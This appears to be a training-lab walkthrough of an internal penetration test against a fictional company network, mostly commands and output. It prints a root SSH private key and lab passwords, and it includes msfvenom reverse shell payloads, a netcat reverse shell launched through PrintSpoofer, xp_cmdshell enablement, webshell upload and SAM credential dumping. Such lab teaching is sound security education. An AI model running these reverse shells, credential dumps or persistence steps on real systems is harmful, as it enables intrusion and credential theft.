Internal Testing

Post-Exploitation Persistence

Now that we've worked so hard to obtain this foothold, we don't want to lose it. The goal is to use this host as a pivot point to access the rest of the internal network. Our shell is still relatively unstable, and we don't want to keep setting up our access with multiple steps because we want to be as efficient as possible and spend as much time on the actual assessment, not fiddling around with shells.

Sinking Our Hooks In

Now that we have credentials (srvadm:ILFreightnixadm!), we can leverage the SSH port we saw open earlier and connect in for a stable connection. This is important because we want to be able to get back as close as possible to the same spot at the start of testing each day, so we don't have to waste time on setup. Now we won't always have SSH open to the internet and may have to achieve persistence another way. We could create a reverse shell binary on the host, execute it via the command injection, get a reverse shell or Meterpreter shell, and then work through that. Since SSH is here, we'll use it. There are many ways to pivot and tunnel our traffic which were covered in-depth in the Pivoting, Tunneling, and Port Forwarding module, so it's worth trying out some of them in this section to get extra practice. We will need to use some of these as we go deeper into this network. It's also good to have a backup way to get back in when using someone's credentials, as they may notice that their account is compromised or just hit that time of the month when they are prompted to change their password, and we won't be able to connect back in the next day. We should always be thinking ahead, analyzing every angle, and trying to anticipate issues before they arise. A lab is much different from the real world, and there are no resets or do-overs, so we need to work meticulously and maintain situational awareness as best as possible.

ssh srvadm@10.129.203.111

Now that we have a stable connection via SSH, we can start enumerating further.

Local Privilege Escalation

We could upload an enumeration script to the system such as LinPEAS, but I always try two simple commands after gaining access: id to see if the compromised account is in any privileged local groups, and sudo -l to see if the account has any type of sudo privileges to run commands as another user or as root. By now, we have practiced many privilege escalation techniques in both Academy modules and perhaps some boxes on the HTB main platform. It's great to have these techniques in our back pocket, especially if we land on a very hardened system. However, we are dealing with human administrators, and humans make mistakes and also go for convenience. More often than not, my path to escalating privileges on a Linux box during a pentest was not some wildcard attack leveraging tar and a cron job, but rather something simple such as sudo su without a password to gain root privileges or not having to escalate privileges because the service I exploited was running in the context of the root account. It's still necessary to understand and practice as many techniques as possible because, as said a few times now, every environment is different, and we want to have the most comprehensive toolkit possible at our disposal.

sudo -l


Matching Defaults entries for srvadm on dmz01:
  env_reset, mail_badpass,
  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User srvadm may run the following commands on dmz01:
  (ALL) NOPASSWD: /usr/bin/openssl

Running sudo -l, we see that we can run the /usr/bin/openssl command as root without requiring a password. As suspected, there is a GTFOBin for the OpenSSL binary. The entry shows various ways this can be leveraged: to upload and download files, gain a reverse shell, and read and write files. Let's try this to see if we can grab the SSH private key for the root user. This is ideal over just attempting to read the /etc/shadow file or obtain a reverse shell as the ida_rsa private key file will grant us SSH back into the environment as the root user, which is perfect for setting up our pivots.

The entry states that we can use the binary for privileged file reads as follows:

LFILE=file_to_read
openssl enc -in "$LFILE"

Let's give it a try

LFILE=/root/.ssh/id_rsa
sudo /usr/bin/openssl enc -in $LFILE

-----BEGIN OPENSSH PRIVATE KEY-----
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
WNfJbbEPrmQf0AAAALcm9vdEB1YnVudHU=
-----END OPENSSH PRIVATE KEY-----

Establishing Persistence

Success! We can now save the private key to our local system, modify the privileges, and use it to SSH as root and confirm root privileges.

chmod 600 dmz01_key
ssh -i dmz01_key root@10.129.203.111

It worked, and we're in and now have a "save point" to get back into the internal environment quickly and can use this SSH access to set up port forwards and pivot internally.

Internal Information Gathering

We've covered a ton of ground so far:

  • Performed external information gathering

  • Performed external port and service scanning

  • Enumerated multiple services for misconfigurations and known vulnerabilities

  • Enumerated and attacked 12 different web applications, with some resulting in no access, others granting file read or sensitive data access, and a few resulting in remote code execution on the underlying web server

  • Obtained a hard-fought foothold in the internal network

  • Performed pillaging and lateral movement to gain access as a more privileged user

  • Escalated privileges to root on the web server

  • Established persistence through the use of both a user/password pair and the root account's private key for fast SSH access back into the environment

Setting Up Pivoting - SSH

With a copy of the root id_rsa (private key) file, we can use SSH port forwarding along with ProxyChains to start getting a picture of the internal network. To review this technique, check out the Dynamic Port Forwarding with SSH and SOCKS Tunneling section of the Pivoting, Tunneling, and Port Forwarding module.

We can use the following command to set up our SSH pivot using dynamic port forwarding: ssh -D 8081 -i dmz01_key root@10.129.x.x. This means we can proxy traffic from our attack host through port 8081 on the target to reach hosts inside the 172.16.8.0/23 subnet directly from our attack host.

In our first terminal, let's set up the SSH dynamic port forwarding command first:

ssh -D 8081 -i dmz01_key root@10.129.203.111

We can confirm that the dynamic port forward is set up using Netstat or running an Nmap scan against our localhost address.

netstat -antp | grep 8081
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.1:8081          0.0.0.0:*               LISTEN      122808/ssh          
tcp6       0      0 ::1:8081

Next, we need to modify the /etc/proxychains.conf to use the port we specified with our dynamic port forwarding command (8081 here).

grep socks4 /etc/proxychains.conf
#	 	socks4	192.168.1.49	1080
#       proxy types: http, socks4, socks5
socks4 	127.0.0.1 8081

Next, we can use Nmap with Proxychains to scan the dmz01 host on its' second NIC, with the IP address 172.16.8.120 to ensure everything is set up correctly.

proxychains nmap -sT -p 21,22,80,8080 172.16.8.120
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-21 21:15 EDT
|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.120:80-<><>-OK
|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.120:80-<><>-OK
|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.120:22-<><>-OK
|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.120:21-<><>-OK
|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.120:8080-<><>-OK
Nmap scan report for 172.16.8.120
Host is up (0.13s latency).

PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.71 seconds

Setting Up Pivoting - Metasploit

Alternatively, we can set up our pivoting using Metasploit, as covered in the Pivoting, Tunneling, and Port Forwarding section of the Pivoting module. To achieve this, we can do the following:

First, generate a reverse shell in Elf format using msfvenom.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.15 LPORT=443 -f elf > shell.elf

Next, transfer the host to the target. Since we have SSH, we can upload it to the target using SCP.

scp -i dmz01_key shell.elf root@10.129.203.111:/tmp

Now, we'll set up the Metasploit exploit/multi/handler.

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 10.10.14.15 
set LPORT 443
exploit

Execute the shell.elf file on the target system:

chmod +x shell.elf
./shell.elf 

If all goes as planned, we'll catch the Meterpreter shell using the multi/handler, and then we can set up routes.

exploit

Next, we can set up routing using the post/multi/manage/autoroute module.

background

use post/multi/manage/autoroute
show options
set SESSION 1
set subnet 172.16.8.0
run

For a refresher, consult the msfvenom section of the Shells & Payloads module and the Introduction to MSFVEnom section of the Using the Metasploit Framework module.

Host Discovery - 172.16.8.0/23 Subnet - Metasploit

Once both options are set up, we can begin hunting for live hosts. Using our Meterpreter session, we can use the multi/gather/ping_sweep module to perform a ping sweep of the 172.16.8.0/23 subnet.

use post/multi/gather/ping_sweep
show options
set rhosts 172.16.8.0/23
set SESSION 1
run

Host Discovery - 172.16.8.0/23 Subnet - SSH Tunnel

Alternatively, we could do a ping sweep or use a static Nmap binary from the dmz01 host.

We get quick results with this Bash one-liner ping sweep:

for i in $(seq 254); do ping 172.16.8.$i -c1 -W1 & done | grep from
64 bytes from 172.16.8.3: icmp_seq=1 ttl=128 time=0.472 ms
64 bytes from 172.16.8.20: icmp_seq=1 ttl=128 time=0.433 ms
64 bytes from 172.16.8.120: icmp_seq=1 ttl=64 time=0.031 ms
64 bytes from 172.16.8.50: icmp_seq=1 ttl=128 time=0.642 ms

We could also use Nmap through Proxychains to enumerate hosts in the 172.16.8.0/23 subnet, but it will be very slow and take ages to finish.

Our host discovery yields three additional hosts:

  • 172.16.8.3

  • 172.16.8.20

  • 172.16.8.50

We can now dig deeper into each of these hosts and see what we turn up.

Host Enumeration

Let's continue our enumeration using a static Nmap binary from the dmz01 host. Try uploading the binary using one of the techniques taught in the File Transfers module.

./nmap --open -iL live_hosts 
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2022-06-22 01:42 UTC
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.

Nmap scan report for 172.16.8.3
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.00064s latency).
Not shown: 1173 closed ports
PORT    STATE SERVICE
53/tcp  open  domain
88/tcp  open  kerberos
135/tcp open  epmap
139/tcp open  netbios-ssn
389/tcp open  ldap
445/tcp open  microsoft-ds
464/tcp open  kpasswd
593/tcp open  unknown
636/tcp open  ldaps
MAC Address: 00:50:56:B9:16:51 (Unknown)

Nmap scan report for 172.16.8.20
Host is up (0.00037s latency).
Not shown: 1175 closed ports
PORT     STATE SERVICE
80/tcp   open  http
111/tcp  open  sunrpc
135/tcp  open  epmap
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
2049/tcp open  nfs
3389/tcp open  ms-wbt-server
MAC Address: 00:50:56:B9:EC:36 (Unknown)

Nmap scan report for 172.16.8.50
Host is up (0.00038s latency).
Not shown: 1177 closed ports
PORT     STATE SERVICE
135/tcp  open  epmap
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
8080/tcp open  http-alt
MAC Address: 00:50:56:B9:B0:89 (Unknown)

Nmap done: 3 IP addresses (3 hosts up) scanned in 131.36 second

From the Nmap output, we can gather the following:

  • 172.16.8.3 is a Domain Controller because we see open ports such as Kerberos and LDAP. We can likely leave this to the side for now as its unlikely to be directly exploitable (though we can come back to that)

  • 172.16.8.20 is a Windows host, and the ports 80/HTTP and 2049/NFS are particularly interesting

  • 172.16.8.50 is a Windows host as well, and port 8080 sticks out as non-standard and interesting

We could run a full TCP port scan in the background while digging into some of these hosts.

Active Directory Quick Hits - SMB NULL SESSION

We can quickly check against the Domain Controller for SMB NULL sessions. If we can dump the password policy and a user list, we could try a measured password spraying attack. If we know the password policy, we can time our attacks appropriately to avoid account lockout. If we can't find anything else, we could come back and use Kerbrute to enumerate valid usernames from various user lists and after enumerating (during a real pentest) potential usernames from the company's LinkedIn page. With this list in hand, we could try 1-2 spraying attacks and hope for a hit. If that still does not work, depending on the client and assessment type, we could ask them for the password policy to avoid locking out accounts. We could also try an ASREPRoasting attack if we have valid usernames, as discussed in the Active Directory Enumeration & Attacks module.

proxychains enum4linux -U -P 172.16.8.3
ProxyChains-3.1 (http://proxychains.sf.net)
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Jun 21 21:49:47 2022

 ========================== 
|    Target Information    |
 ========================== 
Target ........... 172.16.8.3
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ================================================== 
|    Enumerating Workgroup/Domain on 172.16.8.3    |
 ================================================== 
[E] Can't find workgroup/domain


 =================================== 
|    Session Check on 172.16.8.3    |
 =================================== 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 437.
[+] Server 172.16.8.3 allows sessions using username '', password ''
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 451.
[+] Got domain/workgroup name: 

 ========================================= 
|    Getting domain SID for 172.16.8.3    |
 ========================================= 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 359.
|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.3:445-<><>-OK
Domain Name: INLANEFREIGHT
Domain Sid: S-1-5-21-2814148634-3729814499-1637837074
[+] Host is part of a domain (not a workgroup)

 =========================== 
|    Users on 172.16.8.3    |
 =========================== 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866.
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881.
[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED

 ================================================== 
|    Password Policy Information for 172.16.8.3    |
 ================================================== 
[E] Unexpected error from polenum:
|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.3:139-<><>-OK
|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.3:445-<><>-OK


[+] Attaching to 172.16.8.3 using a NULL share

[+] Trying protocol 139/SMB...

	[!] Protocol failed: Cannot request session (Called Name:172.16.8.3)

[+] Trying protocol 445/SMB...

	[!] Protocol failed: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 501.

[E] Failed to get password policy with rpcclient

enum4linux complete on Tue Jun 21 21:50:07 2022

Unfortunately for us, this is a dead-end.

172.16.8.50 - Tomcat

Our earlier Nmap scan showed port 8080 open on this host. Browsing to http://172.16.8.50:8080 shows the latest version of Tomcat 10 installed. Though there are no public exploits for it, we can try to brute-force the Tomcat Manager login as shown in the Attacking Tomcat section of the Attacking Common Applications module. We can start another instance of Metasploit using Proxychains by typing proxychains msfconsole to be able to pivot through the compromised dmz01 host if we don't have routing set up via a Meterpreter session. We can then use the auxiliary/scanner/http/tomcat_mgr_login module to attempt to brute-force the login.

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 172.16.8.50
set rhosts 172.16.8.50
set stop_on_success true
run

We do not get a successful login, so this appears to be a dead-end and not worth exploring further. If we came across a Tomcat Manager login page exposed to the internet, we'd probably want to record it as a finding since an attacker could potentially brute-force it and use it to obtain a foothold. During an internal, we would only want to report it if we could get in via weak credentials and upload a JSP web shell. Otherwise, seeing on an internal network is normal if it is well locked down.

Enumerating 172.16.8.20 - DotNetNuke (DNN)

From the Nmap scan, we saw ports 80 and 2049 open. Let's dig into each of these. We can check out what's on port 80 using cURL from our attack host using the command proxychains curl http://172.16.8.20. From the HTTP response, it looks like DotNetNuke (DNN) is running on the target. This is a CMS written in .NET, basically the WordPress of .NET. It has suffered from a few critical flaws over the years and also has some built-in functionality that we may be able to take advantage of. We can confirm this by browsing directly to the target from our attack host, passing the traffic through the SOCKS proxy.

We can set this up in Firefox as follows:

Browsing to the page confirms our suspicions.

Browsing to http://172.16.8.20/Login?returnurl=%2fadmin shows us the admin login page. There is also a page to register a user. We attempt to register an account but receive the message:

An email with your details has been sent to the Site Administrator for verification. You will be notified by email when your registration has been approved. In the meantime you can continue to browse this site.

In my experience, it is highly unlikely that any type of site administrator will approve a strange registration, though it's worth trying to cover all of our bases.

Putting DNN aside, for now, we go back to our port scan results. Port 2049, NFS, is always interesting to see. If the NFS server is misconfigured (which they often are internally), we can browse NFS shares and potentially uncover some sensitive data. As this is a development server (due to the in-process DNN installation and the DEV01 hostname) so it's worth digging into. We can use showmount to list exports, which we may be able to mount and browse similar to any other file share. We find one export, DEV01, that is accessible to everyone (anonymous access). Let's see what it holds.

proxychains showmount -e 172.16.8.20
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.20:111-<><>-OK
|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.20:2049-<><>-OK
Export list for 172.16.8.20:
/DEV01 (everyone)

We can't mount the NFS share through Proxychains, but luckily we have root access to the dmz01 host to try. We see a few files related to DNN and a DNN subdirectory.

mkdir DEV01
mount -t nfs 172.16.8.20:/DEV01 /tmp/DEV01
cd DEV01/
ls
BuildPackages.bat            CKToolbarButtons.xml  DNN       WatchersNET.CKEditor.sln
CKEditorDefaultSettings.xml  CKToolbarSets.xml     

The DNN subdirectory is very interesting as it contains a web.config file. From our discussions on pillaging throughout the Penetration Tester Path, we know that config files can often contain credentials, making them a key target during any assessment.

cd DNN
ls
App_LocalResources                CKHtmlEditorProvider.cs  Options.aspx                 Web
Browser                           Constants                Options.aspx.cs              web.config
bundleconfig.json                 Content                  Options.aspx.designer.cs     web.Debug.config
CKEditorOptions.ascx              Controls                 packages.config              web.Deploy.config
CKEditorOptions.ascx.cs           Extensions               Properties                   web.Release.config
CKEditorOptions.ascx.designer.cs  Install                  UrlControl.ascx
CKEditorOptions.ascx.resx         Module                   Utilities
CKFinder                          Objects                  WatchersNET.CKEditor.csproj

Checking the contents of the web.config file, we find what appears to be the administrator password for the DNN instance.

cat web.config

Before we move on, since we have root access on dmz01 via SSH, we can run tcpdump as it's on the system. It can never hurt to "listen on the wire" whenever possible during a pentest and see if we can grab any cleartext credentials or generally uncover any additional information that may be useful for us. We'll typically do this during an Internal Penetration Test when we have our own physical laptop or a VM that we control inside the client's network. Some testers will run a packet capture the entire time (rarely, clients will even request this), while others will run it periodically during the first day or so to see if they can capture anything.

tcpdump -i ens192 -s 65535 -w ilfreight_pcap

We could now transfer this down to our host and open it in Wireshark to see if we were able to capture anything. This is covered briefly in the Interacting with Users section of the Windows Privilege Escalation module. For a more in-depth study, consult the Intro to Network Traffic Analysis module.

After transferring the file down to our host, we open it in Wireshark but see that nothing was captured. If we were on a user VLAN or other "busy" area of the network, we might have considerable data to dig through, so it's always worth a shot.

Moving On

At this point, we have dug into the other "live" hosts we can reach and attempted to sniff network traffic. We could run a full port scan of these hosts as well, but we have plenty to move forward with for now. Let's see what we can do with the DNN credentials we obtained from the web.config file pillaged from the open NFS share.

Exploitation & Privilege Escalation

At this point, we have moved from the Information Gathering and Vulnerability Assessment stages into the Exploitation stage of the Penetration Testing Process. After obtaining a foothold, we enumerated what hosts were available to us, scanned for open ports, and probed the accessible services.

Attacking DNN

Let's head over to DNN and try our luck with the credential pair Administrator:D0tn31Nuk3R0ck$$@123. This is a success; we are logged in as the SuperUser administrator account. Here we would want to record another two high-risk findings: Insecure File Shares and Sensitive Data on File Shares. We could potentially combine these into one, but it's worth highlighting as separate issues because if the client restricts anonymous access, but all Domain Users can still access the share and see data that is not necessary for their day-to-day work, then there is a still a risk present.

A SQL console is accessible under the Settings page where we can enable xp_cmdshell and run operating system commands. We can first enable this by pasting these lines into the console one by one and clicking Run Script. We won't get any output from each command, but no errors typically means it's working.

EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1' 
RECONFIGURE

If this works, we can run operating system commands in the format xp_cmdshell '<command here>'. We could then use this to obtain a reverse shell or work on privilege escalation.

What's also interesting about DNN is we can change the allowable file extensions to allow .asp and .aspx files to be uploaded. This is useful if we cannot gain RCE via the SQL console. If this is successful, we can upload an ASP web shell and gain remote code execution on the DEV01 server. The allowed file extensions list can be modified to include .asp and .aspx by browsing to Settings -> Security -> More -> More Security Settings and adding them under Allowable File Extensions, and clicking the Save button. Once this is done, we can upload an ASP webshell after browsing to http://172.16.8.20/admin/file-management. Click the upload files button and select the ASP web shell we downloaded to our attack host.

Once uploaded, we can right-click on the uploaded file and select Get URL. The resultant URL will allow us to run commands via the web shell, where we could then work to get a reverse shell or perform privilege escalation steps, as we'll see next.

Privilege Escalation

Next, we need to escalate privileges. In the command output above, we saw that we have SeImpersonate privileges. Following the steps in the SeImpersonate and SeAssignPrimaryToken section in the Windows Privilege Escalation module, we can work to escalate our privileges to SYSTEM, which will result in an initial foothold in the Active Directory (AD) domain and allow us to begin enumerating AD.

We'll try escalating privileges using the PrintSpoofer tool and then see if we can dump any useful credentials from the host's memory or registry. We'll need nc.exe on the DEV01 host to send ourselves a shell and the PrintSpoofer64.exe binary to leverage SeImpersonate privileges. There are a few ways we can transfer them up there. We could use the dmz01 host as a "jump host" and transfer our tools through it via SCP and then start a Python3 web server and download them onto the DEV01 host using certutil.

An easier way would be to modify the DNN Allowable File Extensions once again to allow the .exe file format. We can then upload both of these files and confirm via our shell that they are located in c:\DotNetNuke\Portals\0.

Once uploaded, we can start a Netcat listener on the dmz01 host and run the following command to obtain a reverse shell as NT AUTHORITY\SYSTEM:

c:\DotNetNuke\Portals\0\PrintSpoofer64.exe -c "c:\DotNetNuke\Portals\0\nc.exe 172.16.8.120 443 -e cmd"

We execute the command and get a reverse shell almost instantly.

nc -lnvp 443

From here, we can perform some post-exploitation and manually retrieve the contents of the SAM database and with it, the local administrator password hash.

reg save HKLM\SYSTEM SYSTEM.SAVE
reg save HKLM\SECURITY SECURITY.SAVE
reg save HKLM\SAM SAM.SAVE

Now we can once again modify the allowed file extensions to permit us to down the .SAVE files. Next, we can go back to the File Management page and download each of the three files to our attack host.

Finally, we can use secretsdump to dump the SAM database and retrieve a set of credentials from LSA secrets.

secretsdump.py LOCAL -system SYSTEM.SAVE -sam SAM.SAVE -security SECURITY.SAVE

We confirm that these credentials work using CrackMapExec and we now have a way back to this system should we lose our reverse shell.

proxychains crackmapexec smb 172.16.8.20 --local-auth -u administrator -H <redacted>

From the secretsdump output above, we notice a cleartext password, but it's not immediately apparent which user it's for. We could dump LSA again using CrackMapExec and confirm that the password is for the hporter user.

We now have our first set of domain credentials for the INLANEFREIGHT.LOCAL domain, hporter:Gr8hambino!. We can confirm this from our reverse shell on dmz01.

net user hporter /dom
The request will be processed at a domain controller for domain INLANEFREIGHT.LOCAL.

User name                    hporter
Full Name                    
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            6/1/2022 11:32:05 AM
Password expires             Never
Password changeable          6/1/2022 11:32:05 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   6/21/2022 7:03:10 AM

Logon hours allowed          All

Local Group Memberships      
Global Group memberships     *Domain Users         
The command completed successfully.

We could also escalate privileges on the DEV01 host using the PrintNightmare vulnerability. There are also other ways to retrieve the credentials, such as using Mimikatz. Play around with this machine and apply the various skills you learned in the Penetration Tester Path to perform these steps in as many ways as possible to practice and find what works best for you.

At this point, we don't have any additional findings to write down because all we did was abuse built-in functionality, which we could perform because of the file share issues noted previously. We could note down PrintNightmare as a high-risk finding if we can exploit it.

Alternate Method - Reverse Port Forwarding

There are many ways to attack this network and achieve the same results, so we will not cover them all here, but one worth mentioning is Remote/Reverse Port Forwarding with SSH. Let's say we want to return a reverse shell from the DEV01 box to our attack host. We can't do this directly since we're not in the same network, but we can leverage dmz01 to perform reverse port forwarding and achieve our goal. We may want to get a Meterpreter shell on the target or a reverse shell directly for any number of reasons. We could have also performed all of these actions without ever getting a shell, as we could have used PrintSpoofer to add a local admin or dump credentials from DEV01 and then connect to the host in any number of ways from our attack host using Proxychains (pass-the-hash, RDP, WinRM, etc.). See how many ways you can achieve the same task of interacting with the DEV01 host directly from your attack host. It's essential to be versatile, and this lab network is a great place to practice as many techniques as possible and hone our skills.

Let's walk through the reverse port forwarding method quickly. First off, we need to generate a payload using msfvenom. Note that here we'll specify the IP address of the dmz01 pivot host in the lhost field and NOT our attack host IP as the target would not be able to connect back to us directly.

msfvenom -p windows/x64/meterpreter/reverse_https lhost=172.16.8.120 -f exe -o teams.exe LPORT=443

Next, we need to set up a multi/handler and start a listener on a different port than the payload we generated will use.

use multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 0.0.0.0
set lport 7000
run

Next, we need to upload the teams.exe reverse shell payload to the DEV01 target host. We can SCP it up to dmz01, start a Python web server on that host and then download the file. Alternatively, we can use the DNN file manager to upload the file as we did previously. With the payload on the target, we need to set up SSH remote port forwarding to forward the dmz01 pivot box port 443 to the Metasploit listener port 7000. The R flag tells the pivot host to listen on port 443 and forward all incoming traffic to this port to our Metasploit listener at 0.0.0.0:7000 configured on our attack host.

ssh -i dmz01_key -R 172.16.8.120:443:0.0.0.0:7000 root@10.129.203.111 -vN

Next, execute the teams.exe payload from the DEV01 host, and if all goes to plan, we'll get a connection back.

exploit
[*] Started reverse TCP handler on 0.0.0.0:7000 
[*] Sending stage (175174 bytes) to 127.0.0.1
[*] Meterpreter session 2 opened (127.0.0.1:7000 -> 127.0.0.1:51146 ) at 2022-06-22 12:21:25 -0400

(Meterpreter 2)(c:\windows\system32\inetsrv) > getuid
Server username: IIS APPPOOL\DotNetNukeAppPool

A caveat to the above method is that, by default, OpenSSH only allows connection to remote forwarded ports from the server itself (localhost). To allow this, we must edit the /etc/ssh/sshd_config file on Ubuntu systems and change the line GatewayPorts no to GatewayPorts yes, otherwise we will not be able to get a call back on the port we forwarded in the SSH command (port 443 in our case). To do this, we would need root SSH access to the host we are using to pivot from. At times we will see this configuration set up like this, so it works straight away, but if we don't have root access to the host with the ability to temporarily modify the SSH config file (and reload it to take effect using service sshd reload), then we won't be able to perform port forwarding in this way. Keep in mind that this type of change opens up a security hole in the client's system, so you'd want to clear it with them, note down the change, and make every effort to revert it at the end of testing. This post is worth reading to understand SSH Remote Forwarding better.

Off to a Good Start

Now that we've enumerated the internal network attacked our first host, escalated privileges, performed post-exploitation, and set up our pivots/multiple ways to assess the internal network, let's turn our attention to the AD environment. Given that we have a set of credentials, we can perform all sorts of enumeration to get a better lay of the land and look for pathways to Domain Admin.

Last updated